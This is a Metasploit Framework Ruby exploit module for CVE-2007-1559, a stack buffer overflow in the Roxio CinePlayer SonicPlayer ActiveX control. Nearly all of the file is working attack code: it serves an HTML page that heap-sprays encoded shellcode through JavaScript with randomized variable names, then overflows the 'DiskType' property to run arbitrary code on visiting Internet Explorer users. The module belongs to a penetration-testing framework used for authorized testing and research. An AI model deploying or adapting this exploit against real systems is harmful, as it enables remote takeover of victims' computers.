metasploit-framework/modules/exploits/windows/browser/roxio_cineplayer.rb

122 lines
3.5 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Roxio CinePlayer ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in SonicPlayer ActiveX
control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2.
By setting an overly long value to 'DiskType', an attacker can overrun
a buffer and execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-1559' ],
[ 'OSVDB', '34779' ],
[ 'BID', '23412' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 200, 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Apr 11 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 500
offset = target['Offset']
# Randomize the javascript variable names
sonic = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
# Build out the message
content = %Q|
<html>
<object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='#{sonic}'></object>
<script language='javascript'>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
#{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{sonic}.DiskType(#{j_ret});
</script>
</html>
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end